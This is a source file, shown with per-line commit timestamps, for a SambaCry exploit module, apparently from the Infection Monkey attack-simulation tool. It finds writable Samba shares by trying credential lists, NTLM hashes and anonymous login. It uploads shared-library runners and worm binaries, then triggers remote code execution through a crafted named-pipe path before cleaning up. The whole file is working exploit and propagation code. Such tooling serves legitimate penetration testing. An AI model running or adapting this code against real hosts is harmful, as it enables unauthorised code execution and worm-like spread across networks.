2017-09-28 19:22:35 +08:00
|
|
|
import itertools
|
2017-08-31 22:50:55 +08:00
|
|
|
import logging
|
2017-09-28 19:22:35 +08:00
|
|
|
import posixpath
|
2017-08-31 22:50:55 +08:00
|
|
|
import re
|
2017-09-01 01:03:32 +08:00
|
|
|
import time
|
|
|
|
from io import BytesIO
|
|
|
|
from os import path
|
|
|
|
|
2017-08-31 22:50:55 +08:00
|
|
|
import impacket.smbconnection
|
2017-08-29 00:20:44 +08:00
|
|
|
from impacket.nt_errors import STATUS_SUCCESS
|
|
|
|
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
|
|
|
|
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
|
2017-09-01 01:03:32 +08:00
|
|
|
from impacket.smb import SessionError
|
|
|
|
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
|
|
|
|
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
|
|
|
|
from impacket.smbconnection import SMBConnection
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-09-01 01:03:32 +08:00
|
|
|
import monkeyfs
|
2017-08-30 15:16:54 +08:00
|
|
|
from exploit import HostExploiter
|
|
|
|
from model import DROPPER_ARG
|
2017-09-01 01:03:32 +08:00
|
|
|
from network.smbfinger import SMB_SERVICE
|
2017-10-11 23:05:03 +08:00
|
|
|
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-08-29 00:20:44 +08:00
|
|
|
__author__ = 'itay.mizeretz'
|
|
|
|
|
2017-08-31 22:50:55 +08:00
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-08-30 15:16:54 +08:00
|
|
|
class SambaCryExploiter(HostExploiter):
|
2017-09-01 01:03:32 +08:00
|
|
|
"""
|
|
|
|
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
|
|
|
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
|
|
|
"""
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-10-16 15:58:11 +08:00
|
|
|
_TARGET_OS_TYPE = ['linux']
|
2017-10-02 22:11:51 +08:00
|
|
|
# Name of file which contains the monkey's commandline
|
|
|
|
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
|
|
|
# Name of file which contains the runner's result
|
|
|
|
SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result"
|
|
|
|
# SambaCry runner filename (32 bit)
|
|
|
|
SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
|
|
|
|
# SambaCry runner filename (64 bit)
|
|
|
|
SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
|
|
|
|
# Monkey filename on share (32 bit)
|
|
|
|
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
|
|
|
|
# Monkey filename on share (64 bit)
|
|
|
|
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
|
|
|
|
# Monkey copy filename on share (32 bit)
|
|
|
|
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
|
|
|
|
# Monkey copy filename on share (64 bit)
|
|
|
|
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
def __init__(self, host):
|
|
|
|
super(SambaCryExploiter, self).__init__(host)
|
2017-08-31 22:50:55 +08:00
|
|
|
self._config = __import__('config').WormConfiguration
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
def exploit_host(self):
|
|
|
|
if not self.is_vulnerable():
|
2017-09-01 01:03:32 +08:00
|
|
|
return False
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
2017-08-31 22:50:55 +08:00
|
|
|
LOG.info("Writable shares and their credentials on host %s: %s" %
|
2017-10-11 23:05:03 +08:00
|
|
|
(self.host.ip_addr, str(writable_shares_creds_dict)))
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
self._exploit_info["shares"] = {}
|
2017-08-30 15:16:54 +08:00
|
|
|
for share in writable_shares_creds_dict:
|
2017-10-11 23:05:03 +08:00
|
|
|
self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
|
|
|
self.try_exploit_share(share, writable_shares_creds_dict[share])
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-09-01 01:03:32 +08:00
|
|
|
# Wait for samba server to load .so, execute code and create result file.
|
|
|
|
time.sleep(self._config.sambacry_trigger_timeout)
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-08-31 22:50:55 +08:00
|
|
|
successfully_triggered_shares = []
|
|
|
|
|
2017-08-30 15:16:54 +08:00
|
|
|
for share in writable_shares_creds_dict:
|
2017-10-11 23:05:03 +08:00
|
|
|
trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
|
|
|
creds = writable_shares_creds_dict[share]
|
|
|
|
self.report_login_attempt(
|
|
|
|
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
|
2017-08-31 22:50:55 +08:00
|
|
|
if trigger_result is not None:
|
|
|
|
successfully_triggered_shares.append((share, trigger_result))
|
2017-10-11 23:05:03 +08:00
|
|
|
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
2017-08-31 22:50:55 +08:00
|
|
|
|
2017-09-01 01:03:32 +08:00
|
|
|
for share, fullpath in successfully_triggered_shares:
|
2017-10-11 23:05:03 +08:00
|
|
|
self._exploit_info["shares"][share]["fullpath"] = fullpath
|
2017-08-31 22:50:55 +08:00
|
|
|
|
|
|
|
if len(successfully_triggered_shares) > 0:
|
2017-09-28 19:22:35 +08:00
|
|
|
LOG.info(
|
2017-10-11 23:05:03 +08:00
|
|
|
"Shares triggered successfully on host %s: %s" % (
|
|
|
|
self.host.ip_addr, str(successfully_triggered_shares)))
|
2017-08-31 22:50:55 +08:00
|
|
|
return True
|
|
|
|
else:
|
2017-10-11 23:05:03 +08:00
|
|
|
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
2017-08-31 22:50:55 +08:00
|
|
|
return False
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
def try_exploit_share(self, share, creds):
|
2017-09-01 01:03:32 +08:00
|
|
|
"""
|
|
|
|
Tries exploiting share
|
|
|
|
:param share: share name
|
|
|
|
:param creds: credentials to use with share
|
|
|
|
"""
|
2017-08-31 22:50:55 +08:00
|
|
|
try:
|
2017-10-11 23:05:03 +08:00
|
|
|
smb_client = self.connect_to_server(self.host.ip_addr, creds)
|
|
|
|
self.upload_module(smb_client, share)
|
2017-08-31 22:50:55 +08:00
|
|
|
self.trigger_module(smb_client, share)
|
|
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
2017-09-28 19:22:35 +08:00
|
|
|
LOG.debug(
|
2017-10-11 23:05:03 +08:00
|
|
|
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (
|
|
|
|
self.host.ip_addr, share, str(creds)))
|
2017-08-30 15:16:54 +08:00
|
|
|
|
|
|
|
def clean_share(self, ip, share, creds):
|
2017-09-01 01:03:32 +08:00
|
|
|
"""
|
|
|
|
Cleans remote share of any remaining files created by monkey
|
|
|
|
:param ip: IP of victim
|
|
|
|
:param share: share name
|
|
|
|
:param creds: credentials to use with share.
|
|
|
|
"""
|
2017-08-30 15:16:54 +08:00
|
|
|
smb_client = self.connect_to_server(ip, creds)
|
|
|
|
tree_id = smb_client.connectTree(share)
|
2017-10-02 22:11:51 +08:00
|
|
|
file_list = [self.SAMBACRY_COMMANDLINE_FILENAME, self.SAMBACRY_RUNNER_RESULT_FILENAME,
|
|
|
|
self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64,
|
|
|
|
self.SAMBACRY_MONKEY_FILENAME_32, self.SAMBACRY_MONKEY_FILENAME_64]
|
2017-08-30 15:16:54 +08:00
|
|
|
|
|
|
|
for filename in file_list:
|
|
|
|
try:
|
|
|
|
smb_client.deleteFile(share, "\\%s" % filename)
|
2017-08-31 22:50:55 +08:00
|
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
2017-08-30 15:16:54 +08:00
|
|
|
# Ignore exception to try and delete as much as possible
|
|
|
|
pass
|
|
|
|
smb_client.disconnectTree(tree_id)
|
2017-08-31 22:50:55 +08:00
|
|
|
|
|
|
|
def get_trigger_result(self, ip, share, creds):
|
2017-09-01 01:03:32 +08:00
|
|
|
"""
|
|
|
|
Checks if the trigger yielded any result and returns it.
|
|
|
|
:param ip: IP of victim
|
|
|
|
:param share: share name
|
|
|
|
:param creds: credentials to use with share.
|
|
|
|
:return: result of trigger if there was one. None otherwise
|
|
|
|
"""
|
2017-08-31 22:50:55 +08:00
|
|
|
smb_client = self.connect_to_server(ip, creds)
|
|
|
|
tree_id = smb_client.connectTree(share)
|
|
|
|
file_content = None
|
|
|
|
try:
|
2017-10-02 22:11:51 +08:00
|
|
|
file_id = smb_client.openFile(tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME,
|
2017-09-01 01:03:32 +08:00
|
|
|
desiredAccess=FILE_READ_DATA)
|
2017-08-31 22:50:55 +08:00
|
|
|
file_content = smb_client.readFile(tree_id, file_id)
|
|
|
|
smb_client.closeFile(tree_id, file_id)
|
2017-08-31 23:40:42 +08:00
|
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
2017-08-31 22:50:55 +08:00
|
|
|
pass
|
|
|
|
|
|
|
|
smb_client.disconnectTree(tree_id)
|
|
|
|
return file_content
|
2017-08-30 15:16:54 +08:00
|
|
|
|
|
|
|
def get_writable_shares_creds_dict(self, ip):
|
2017-09-01 01:03:32 +08:00
|
|
|
"""
|
|
|
|
Gets dictionary of writable shares and their credentials
|
|
|
|
:param ip: IP address of the victim
|
|
|
|
:return: Dictionary of writable shares and their corresponding credentials.
|
|
|
|
"""
|
2017-08-30 15:16:54 +08:00
|
|
|
writable_shares_creds_dict = {}
|
2017-08-29 00:20:44 +08:00
|
|
|
credentials_list = self.get_credentials_list()
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-10-03 20:47:07 +08:00
|
|
|
LOG.debug("SambaCry credential list: %s" % str(credentials_list))
|
|
|
|
|
2017-08-29 00:20:44 +08:00
|
|
|
for credentials in credentials_list:
|
2017-08-31 22:50:55 +08:00
|
|
|
try:
|
|
|
|
smb_client = self.connect_to_server(ip, credentials)
|
|
|
|
shares = self.list_shares(smb_client)
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-08-31 22:50:55 +08:00
|
|
|
# don't try shares we can already write to.
|
2017-09-04 19:52:24 +08:00
|
|
|
for share in [x for x in shares if x not in writable_shares_creds_dict]:
|
2017-08-31 22:50:55 +08:00
|
|
|
if self.is_share_writable(smb_client, share):
|
|
|
|
writable_shares_creds_dict[share] = credentials
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-08-31 22:50:55 +08:00
|
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
|
|
|
# If failed using some credentials, try others.
|
|
|
|
pass
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-08-30 15:16:54 +08:00
|
|
|
return writable_shares_creds_dict
|
|
|
|
|
2017-08-29 00:20:44 +08:00
|
|
|
def get_credentials_list(self):
|
2017-09-27 22:23:23 +08:00
|
|
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
2017-09-04 19:52:24 +08:00
|
|
|
|
2017-09-29 00:03:31 +08:00
|
|
|
creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
|
|
|
|
for user, password, lm_hash, ntlm_hash in creds]
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-09-29 00:03:31 +08:00
|
|
|
# Add empty credentials for anonymous shares.
|
|
|
|
creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-09-29 00:03:31 +08:00
|
|
|
return creds
|
2017-08-29 00:20:44 +08:00
|
|
|
|
|
|
|
def list_shares(self, smb_client):
|
|
|
|
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
2017-09-04 19:52:24 +08:00
|
|
|
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
def is_vulnerable(self):
|
2017-09-01 01:03:32 +08:00
|
|
|
"""
|
|
|
|
Checks whether the victim runs a possibly vulnerable version of samba
|
|
|
|
:return: True if victim is vulnerable, False otherwise
|
|
|
|
"""
|
2017-10-11 23:05:03 +08:00
|
|
|
if SMB_SERVICE not in self.host.services:
|
|
|
|
LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
2017-08-30 15:16:54 +08:00
|
|
|
return False
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-08-31 22:50:55 +08:00
|
|
|
pattern = re.compile(r'\d*\.\d*\.\d*')
|
2017-10-11 23:05:03 +08:00
|
|
|
smb_server_name = self.host.services[SMB_SERVICE].get('name')
|
2017-08-31 22:50:55 +08:00
|
|
|
samba_version = "unknown"
|
|
|
|
pattern_result = pattern.search(smb_server_name)
|
|
|
|
is_vulnerable = False
|
|
|
|
if pattern_result is not None:
|
|
|
|
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
|
|
|
|
samba_version_parts = samba_version.split('.')
|
|
|
|
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
|
|
|
|
is_vulnerable = True
|
|
|
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
|
|
|
is_vulnerable = True
|
2017-09-28 19:22:35 +08:00
|
|
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
|
|
|
|
samba_version_parts[1] <= "13"):
|
2017-08-31 22:50:55 +08:00
|
|
|
is_vulnerable = True
|
2017-09-28 19:22:35 +08:00
|
|
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
|
|
|
|
samba_version_parts[1] <= "9"):
|
2017-08-31 22:50:55 +08:00
|
|
|
is_vulnerable = True
|
2017-09-28 19:22:35 +08:00
|
|
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
|
|
|
|
samba_version_parts[1] <= "3"):
|
2017-08-31 22:50:55 +08:00
|
|
|
is_vulnerable = True
|
2017-09-28 21:13:47 +08:00
|
|
|
else:
|
|
|
|
# If pattern doesn't match we can't tell what version it is. Better try
|
|
|
|
is_vulnerable = True
|
2017-08-31 22:50:55 +08:00
|
|
|
|
2017-09-04 19:52:24 +08:00
|
|
|
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
2017-10-11 23:05:03 +08:00
|
|
|
(self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
2017-08-31 22:50:55 +08:00
|
|
|
|
|
|
|
return is_vulnerable
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
def upload_module(self, smb_client, share):
|
2017-09-01 01:03:32 +08:00
|
|
|
"""
|
|
|
|
Uploads the module and all relevant files to server
|
|
|
|
:param smb_client: smb client object
|
|
|
|
:param share: share name
|
|
|
|
"""
|
2017-08-30 15:16:54 +08:00
|
|
|
tree_id = smb_client.connectTree(share)
|
2017-08-31 22:50:55 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
|
2017-10-02 22:11:51 +08:00
|
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
|
2017-08-31 22:50:55 +08:00
|
|
|
|
2017-08-30 15:16:54 +08:00
|
|
|
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
2017-10-02 22:11:51 +08:00
|
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read)
|
2017-08-31 22:50:55 +08:00
|
|
|
|
2017-08-30 15:16:54 +08:00
|
|
|
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
2017-10-02 22:11:51 +08:00
|
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read)
|
2017-08-31 22:50:55 +08:00
|
|
|
|
2017-09-03 16:50:01 +08:00
|
|
|
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
|
|
|
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
|
|
|
|
|
|
|
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
2017-10-02 22:11:51 +08:00
|
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read)
|
2017-09-03 16:50:01 +08:00
|
|
|
|
|
|
|
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
2017-10-02 22:11:51 +08:00
|
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
|
2017-08-30 15:16:54 +08:00
|
|
|
|
2017-08-31 22:50:55 +08:00
|
|
|
smb_client.disconnectTree(tree_id)
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-09-01 01:03:32 +08:00
|
|
|
def trigger_module(self, smb_client, share):
|
|
|
|
"""
|
|
|
|
Tries triggering module
|
|
|
|
:param smb_client: smb client object
|
|
|
|
:param share: share name
|
|
|
|
:return: True if might triggered successfully, False otherwise.
|
|
|
|
"""
|
2017-08-29 00:20:44 +08:00
|
|
|
trigger_might_succeeded = False
|
2017-09-01 01:03:32 +08:00
|
|
|
module_possible_paths = self.generate_module_possible_paths(share)
|
2017-08-29 00:20:44 +08:00
|
|
|
for module_path in module_possible_paths:
|
|
|
|
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
|
|
|
|
|
|
|
|
return trigger_might_succeeded
|
|
|
|
|
|
|
|
def trigger_module_by_path(self, smb_client, module_path):
|
|
|
|
"""
|
|
|
|
Tries triggering module by path
|
|
|
|
:param smb_client: smb client object
|
|
|
|
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
|
2017-08-31 22:50:55 +08:00
|
|
|
:return: True if might triggered successfully, False otherwise.
|
2017-08-29 00:20:44 +08:00
|
|
|
"""
|
|
|
|
|
|
|
|
try:
|
|
|
|
# the extra / on the beginning is required for the vulnerability
|
2017-09-04 19:52:24 +08:00
|
|
|
self.open_pipe(smb_client, "/" + module_path)
|
2017-09-28 21:13:47 +08:00
|
|
|
except Exception as e:
|
2017-08-29 00:20:44 +08:00
|
|
|
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
2017-08-31 22:50:55 +08:00
|
|
|
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
|
|
|
return True
|
|
|
|
else:
|
2017-09-01 01:03:32 +08:00
|
|
|
pass
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-08-31 22:50:55 +08:00
|
|
|
return False
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-09-01 01:03:32 +08:00
|
|
|
def generate_module_possible_paths(self, share_name):
|
2017-08-29 00:20:44 +08:00
|
|
|
"""
|
|
|
|
Generates array of possible paths
|
|
|
|
:param share_name: Name of the share
|
|
|
|
:return: Array of possible full paths to the module.
|
|
|
|
"""
|
2017-09-04 19:52:24 +08:00
|
|
|
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
2017-10-02 22:11:51 +08:00
|
|
|
file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
|
2017-09-04 20:41:36 +08:00
|
|
|
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-09-01 01:03:32 +08:00
|
|
|
def get_monkey_runner_bin_file(self, is_32bit):
|
2017-08-30 15:16:54 +08:00
|
|
|
if is_32bit:
|
2017-10-02 22:11:51 +08:00
|
|
|
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
2017-08-30 15:16:54 +08:00
|
|
|
else:
|
2017-10-02 22:11:51 +08:00
|
|
|
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
2017-08-29 00:20:44 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
def get_monkey_commandline_file(self, location):
|
|
|
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def is_share_writable(smb_client, share):
|
|
|
|
"""
|
|
|
|
Checks whether the share is writable
|
|
|
|
:param smb_client: smb client object
|
|
|
|
:param share: share name
|
|
|
|
:return: True if share is writable, False otherwise.
|
|
|
|
"""
|
|
|
|
LOG.debug('Checking %s for write access' % share)
|
|
|
|
try:
|
|
|
|
tree_id = smb_client.connectTree(share)
|
|
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
|
|
|
return False
|
|
|
|
|
|
|
|
try:
|
|
|
|
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
|
|
|
writable = True
|
|
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
|
|
|
writable = False
|
|
|
|
pass
|
|
|
|
|
|
|
|
smb_client.disconnectTree(tree_id)
|
|
|
|
|
|
|
|
return writable
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def connect_to_server(ip, credentials):
|
|
|
|
"""
|
|
|
|
Connects to server using given credentials
|
|
|
|
:param ip: IP of server
|
|
|
|
:param credentials: credentials to log in with
|
|
|
|
:return: SMBConnection object representing the connection
|
|
|
|
"""
|
|
|
|
smb_client = SMBConnection(ip, ip)
|
|
|
|
smb_client.login(
|
|
|
|
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
|
|
|
return smb_client
|
2017-08-29 00:20:44 +08:00
|
|
|
|
|
|
|
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
2017-10-11 23:05:03 +08:00
|
|
|
@staticmethod
|
|
|
|
def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
2017-09-28 19:22:35 +08:00
|
|
|
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
|
|
|
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
2017-08-29 00:20:44 +08:00
|
|
|
|
|
|
|
packet = smb_client.getSMBServer().SMB_PACKET()
|
|
|
|
packet['Command'] = SMB2_CREATE
|
|
|
|
packet['TreeID'] = treeId
|
|
|
|
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
|
|
|
|
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
|
|
|
|
|
|
|
|
smb2Create = SMB2Create()
|
|
|
|
smb2Create['SecurityFlags'] = 0
|
|
|
|
smb2Create['RequestedOplockLevel'] = oplockLevel
|
|
|
|
smb2Create['ImpersonationLevel'] = impersonationLevel
|
|
|
|
smb2Create['DesiredAccess'] = desiredAccess
|
|
|
|
smb2Create['FileAttributes'] = fileAttributes
|
|
|
|
smb2Create['ShareAccess'] = shareMode
|
|
|
|
smb2Create['CreateDisposition'] = creationDisposition
|
|
|
|
smb2Create['CreateOptions'] = creationOptions
|
|
|
|
|
|
|
|
smb2Create['NameLength'] = len(fileName) * 2
|
|
|
|
if fileName != '':
|
|
|
|
smb2Create['Buffer'] = fileName.encode('utf-16le')
|
|
|
|
else:
|
|
|
|
smb2Create['Buffer'] = '\x00'
|
|
|
|
|
|
|
|
if createContexts is not None:
|
|
|
|
smb2Create['Buffer'] += createContexts
|
|
|
|
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
|
|
|
|
smb2Create['CreateContextsLength'] = len(createContexts)
|
|
|
|
else:
|
|
|
|
smb2Create['CreateContextsOffset'] = 0
|
|
|
|
smb2Create['CreateContextsLength'] = 0
|
|
|
|
|
|
|
|
packet['Data'] = smb2Create
|
|
|
|
|
|
|
|
packetID = smb_client.getSMBServer().sendSMB(packet)
|
|
|
|
ans = smb_client.getSMBServer().recvSMB(packetID)
|
|
|
|
if ans.isValidAnswer(STATUS_SUCCESS):
|
|
|
|
createResponse = SMB2Create_Response(ans['Data'])
|
|
|
|
|
|
|
|
# The client MUST generate a handle for the Open, and it MUST
|
|
|
|
# return success and the generated handle to the calling application.
|
|
|
|
# In our case, str(FileID)
|
|
|
|
return str(createResponse['FileID'])
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
@staticmethod
|
|
|
|
def open_pipe(smb_client, pathName):
|
2017-08-29 00:20:44 +08:00
|
|
|
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
|
|
|
# to make things easier for the caller. Not this time ;)
|
|
|
|
treeId = smb_client.connectTree('IPC$')
|
2017-08-31 22:50:55 +08:00
|
|
|
LOG.debug('Triggering path: %s' % pathName)
|
2017-08-29 00:20:44 +08:00
|
|
|
|
|
|
|
if smb_client.getDialect() == SMB_DIALECT:
|
|
|
|
_, flags2 = smb_client.getSMBServer().get_flags()
|
|
|
|
|
|
|
|
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
|
|
|
|
|
|
|
|
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
|
|
|
|
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
|
|
|
|
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
|
|
|
|
ntCreate['Parameters']['FileNameLength'] = len(pathName)
|
|
|
|
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
|
|
|
|
ntCreate['Parameters']['FileAttributes'] = 0
|
|
|
|
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
|
|
|
|
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
|
|
|
|
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
|
|
|
|
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
|
|
|
|
ntCreate['Parameters']['SecurityFlags'] = 0
|
|
|
|
ntCreate['Parameters']['CreateFlags'] = 0x16
|
|
|
|
ntCreate['Data']['FileName'] = pathName
|
|
|
|
|
|
|
|
if flags2 & SMB.FLAGS2_UNICODE:
|
|
|
|
ntCreate['Data']['Pad'] = 0x0
|
|
|
|
|
|
|
|
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
|
|
|
else:
|
2017-10-11 23:05:03 +08:00
|
|
|
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
2017-09-28 19:22:35 +08:00
|
|
|
shareMode=FILE_SHARE_READ,
|
|
|
|
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
|
|
|
|
fileAttributes=0)
|